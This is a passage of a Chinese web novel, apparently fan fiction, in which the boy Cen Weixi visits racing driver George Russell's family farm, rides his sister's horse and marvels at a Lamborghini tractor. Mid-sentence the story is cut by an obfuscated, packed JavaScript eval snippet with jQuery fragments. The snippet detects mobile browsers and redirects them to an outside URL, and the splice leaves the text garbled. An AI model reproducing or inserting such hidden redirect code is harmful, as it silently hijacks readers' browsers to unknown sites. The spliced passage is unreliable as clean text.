“朋友?”拉塞尔从鼻子里发出一阵轻哼:“...如果你明天乖乖跟在我后面,我会勉为其难给你寄圣诞卡片的。”


    “...你不是已经给我寄了圣诞卡片了?”


    “哦,那个是给你的啊?”拉塞尔摸着下巴,恍然大悟:“阿尔本给了我张贺卡让我跟着画,我还以为是什么诅咒符咒呢,原来是你的名字啊!”


    “!!!”


    “你把我送的圣诞树还回来!”


    “那不行,送了的就是我的了。” 拉塞尔睁着大眼睛望着岑维希,一副我就是要当无赖你能拿我怎么样的得意表情。


    “.....” 岑维希回头转身放比格。


    “咕咕给我咬他!”


    这实在是一招臭棋,因为咕咕是一条无差别攻击的大武器。它跑去咬拉塞尔的鞋子,也没有放过岑维希的裤脚。两个本就剧烈运动过的小朋友被咕咕遛得毫无还手之力,两个人脸上都是咕咕臭烘烘的口水味。


    “ugh! 臭狗狗!” 岑维希拍打在他身上兴奋乱拱的比格。


    比格听不懂,比格只是伸出舌头猛舔岑维希的手。


    “你是不是偷懒没遛它啊!”拉塞尔躲得远远的,像是兔子见到天敌一样缩在角落,随时准备跳起来逃跑。


    最后拯救他们的是岑母。


    她把和狗玩疯了的两个小朋友叫进门,招待了一顿晚饭,然后让洗过澡的拉塞尔穿着阿森纳发的训练服回家了。


    “他一个小孩子自己走能行嘛?” 岑母有些担心。


    岑维希翻了个白眼:“得了吧,萨卡来我们家那么多次,怎么没见你说过什么。”


    “你们不一样!”岑母白岑维希一眼。


    “怎么就不一样了?”岑维希不信这个邪。


    “哎呀,萨卡搞体育的,遇见坏事你们打不过也能跑得过。人家拉塞尔像小姑娘一样,乖乖巧巧的,一看就很危险啊。”


    “噗嗤。”


    岑维希憋笑。


    原来如此。


    他妈一定想不到看起来柔柔弱弱小女孩一样的拉塞尔每天开着时速200码的卡丁车竞速撞车。


    “你笑什么?” 岑母疑惑。


    “笑天下可笑之人。嘻嘻。”


    *


    “早啊,岑维希。” 第二天岑维希在自家餐桌上看到拉塞尔的时候还觉得自己没睡醒,他揉了揉眼睛,发现拉塞尔不是幻觉,居然还在。


    “你怎么会在这里?!” 他指着拉塞尔问。


    “哎呀,不要这么没礼貌,”岑母走过来打岑维希指着拉塞尔的手:“人家好心过来通知你象棋训练改地址的。”


    “你这个懒鬼天天睡懒觉,人家还帮你遛狗了呢。”


    “......”


    吃完早餐穿戴整齐被岑母赶出家门参加‘象棋训练’的岑维希还是百思不得其解:“你怎么来了?”


    “只是路过。”拉塞尔头也不回。


    “路过到我家还帮我遛了狗?”


    “...那是你们家比格太热情了,一直缠着我不放。” 拉塞尔从鼻子里哼了一声:“说真的你们家狗要不要小心一点,我一个第二次上门的陌生人都能把它带出去遛弯。”


    “随便喽。”岑维希望天:“真要有人能带它走,我还要送红包放鞭炮庆祝呢。”


    “鞭炮是什么?”


    “一种烟花,但是没有花,”岑维希手舞足蹈试图向老外传播中华文化:“放起来噼里啪啦的,可带感了。我们中国人只有遇见大事好事才能放鞭炮庆祝。”


    “这样啊...” 老外拉塞尔若有所思。


    “诶,我们是不是走错了。这不是去牛津郡的路啊?”


    “没走错。我们今天不去牛津。”


    “啊?那我们去干嘛?”


    “去‘象棋训练’啊。”


    “?”


    “我都说了我是普通路过了,是你自己问都不问就要跟着我走的。”


    “.......”


    毫无警惕心的岑维希跟着‘普通路过’的拉塞尔下了车,问拉塞尔 ‘下一步怎么走’?


    “等着。”


    “等啥?”


    “等人来接我们。”


    来接他们的不仅仅是人,还有——


    “哇塞!那边有人骑马!好帅啊!”


    “帅吧!” 拉塞尔得意洋洋,“那是我姐姐!”


    骑马的人飞速地靠近了,岑维希看到骑者的面容,大眼睛,长睫毛,确实和身边的拉塞尔一摸一样。不过穿着骑装的姐姐看着英气逼人,衬着身边穿着浅黄色背心牛仔裤的乔治更像个阴郁的小女孩了。


    姐姐骑着马到他们身前,一拉缰绳,帅气地勒住马头,稳稳地停了下来。


    太帅了!岑维希星星眼看着面前帅气的大姐姐。


    “你就是乔治的朋友?”大姐姐对着岑维希亲切地打招呼,看到他渴望和羡慕混杂的表情,非常善解人意地问:“想上马试试嘛?”


    “哇塞!可以吗?!”岑维希如果有尾巴,现在大概已经摇成电风扇了。


    大姐姐看着岑维希故作矜持的样子,二话不说把他抱起来,放到马鞍上。


    “姐,你小心点,别把我朋友吓坏了,他胆子小的很。” 拉塞尔坏心眼地说。


    “才不会!姐姐快点快点,我才不会吓坏。” 岑维希对于拉塞尔的拆台非常不满。


    “好啊,那我就快点了。”


    姐姐拍了拍马屁/股,马听话地‘嘀嘀嗒嗒’地小跑了起来。


    “怎么样,会颠簸吗?”


    “没有,完全没有,” 岑维希头摇的像拨浪鼓:“再快点也没关系!”


    “....” 姐姐似乎是无语地嘟囔了两句 ‘果然是玩赛车的,都一个德行’,然后岑维希也没看明白她拍了哪里,屁/股底下本来还慢悠悠小跑的马忽然得到了指令,发疯一般撒开蹄子狂奔了起来。


    岑维希吓得正大嘴巴,死死拉住缰绳,感觉自己下一秒就要被甩下去做自由落体运动了。


    “啊——姐姐——不要啊——”


    “什么——不够快——?等着——”


    “啊——————”


    ...


    “对不起啊,小朋友,是姐姐不好。” 拉塞尔姐姐有些担心地看着面色惨白的岑维希。这个本来脸颊红扑扑像坠在枝头沉甸甸的苹果的小朋友现在一张脸比鬼还苍白。


    “要不然你去吐一下吧,吐出来了就好了。”


    “不,不行,我....” 岑维希本来还想硬撑,忽然面色一变:“呕——”


    ...


    “来,喝口茶。” 姐姐给恍恍惚惚的岑维希递水。


    “姐,我都说了我朋友胆子很小,你还骑这么快。”乔治·拉塞尔不满地抱怨。


    “不怪姐姐,是我自己。” 岑维希虚弱地说:“高估了自己。”


    “没想到骑马这么颠簸啊。”


    “抱歉啊,我以为你跟乔治一样也是玩赛车的,我以为你都习惯了。” 拉塞尔姐姐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574519|170857||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    歉意地给小客人再倒了一杯茶,还往里面加了大量的蜂蜜。


    “谢谢姐姐,”岑维希喝下有点腻的蜂蜜柠檬红茶,可怜兮兮地问 “我可以稍微躺一下吗,我感觉头还是有点晕。”


    “我带你去客房吧。” 乔治·拉塞尔转身带着岑维希上楼:“姐,你去帮我停一下拖拉机。我刚开到门口了没来得及停。”


    “拖拉机?!” 半死不活的岑维希停住了脚步。


    “对啊。” 拉塞尔说:“我把家里的拖拉机开过来了,你上次不是说想要玩嘛?现在看起来还是下次再来吧。”


    “不不不,我可以我能行我很好。”岑维希拒绝三连,拉着拉塞尔的袖子就像自己咕咕大魔王转着圈咬鞋子一样,他也就差围着拉塞尔转圈了:“让我去看看拖拉机吧,求求你了。”


    “你没问题?”


    “没问题。我从来没有这么好过。”


    “....” 面对拉塞尔狐疑的目光,岑维希挺胸抬头,试图身体力行证明自己好得不得了:“行吧,拖拉机就在门口,你要看就来吧。”


    拉塞尔带着岑维希转身,出门。


    岑维希长大了嘴巴——


    “你管这叫拖拉机?”


    他指着面前的白色巨兽,目瞪口呆地说道。


    这是一辆单座的拖拉机,全身白色涂层,两个高大的前轮以及两个堪称巨型的宏伟后轮共同撑起一个四面透光的玻璃座舱。这辆车浑身上下透露着机械的美感,线条流畅优美,最主要的是,前面还有这一个非常眼熟的logo。


    黑底金边。上面一头怒气冲冲伏低高跷尾巴的壮牛,以及一行潇洒的英文字。


    “兰博基尼?兰博基尼也有拖拉机?” 岑维希发出质问。


    他已经不是当初的吴下阿蒙了,以参加F1为目标开始练习卡丁车的他现在对于汽车品牌的了解可以说是非常深入了,至少大街上跑的四个轮子的他基本都能叫得出型号。


    但是。


    “兰博基尼为什么会出拖拉机?”


    “因为我爸会买。” 拉塞尔耸耸肩,娴熟地爬上了驾驶座:“你要上来嘛?”


    “要!”岑维希不顾尖叫着散架了的臀/部,斩钉截铁地回答。


    这可是兰博基尼的拖拉机!


    坐上了兰博基尼开始犁地的岑维希兴奋异常,他左摸摸右看看,好奇地像个不停扭动的蛆。拉塞尔烦躁地让他坐好。


    “你们家为什么会买兰博基尼的拖拉机?”


    “因为这是兰博基尼。”


    在兰博基尼拖拉机上转了一圈,岑维希似乎满血复活了,他在得知这一整片土地都是乔治拉塞尔家的之后,他属于中国人的神农血脉似乎觉醒了,蹦蹦跳跳活力无限地拽着拉塞尔要参观他们家的农庄。


    拉塞尔在带着不知道哪里来劲了的岑维希逛了逛自家的农田,菜地,看了看自家养的牛和羊。


    ‘还有那边,是我姐的马场。’


    ‘这边是湖,再热一点可以来游泳划船,现在可以钓鱼。’


    一整套丝滑连招下来,岑维希幸福得快要升天。


    他坐在乔治能够看见湖的房间里,靠在柔软的枕头上,一边和拉塞尔下着象棋,一边喝着蜂蜜柠檬红茶,发出满足地喟叹——


    “这就是天堂吧。”


    ....


    “乔治·拉塞尔,你下地狱去吧!”


    在PF守着自己的卡丁车苦等一天没看见半根毛,终于意识到自己被耍了的兰多·诺里斯发出恶毒的诅咒。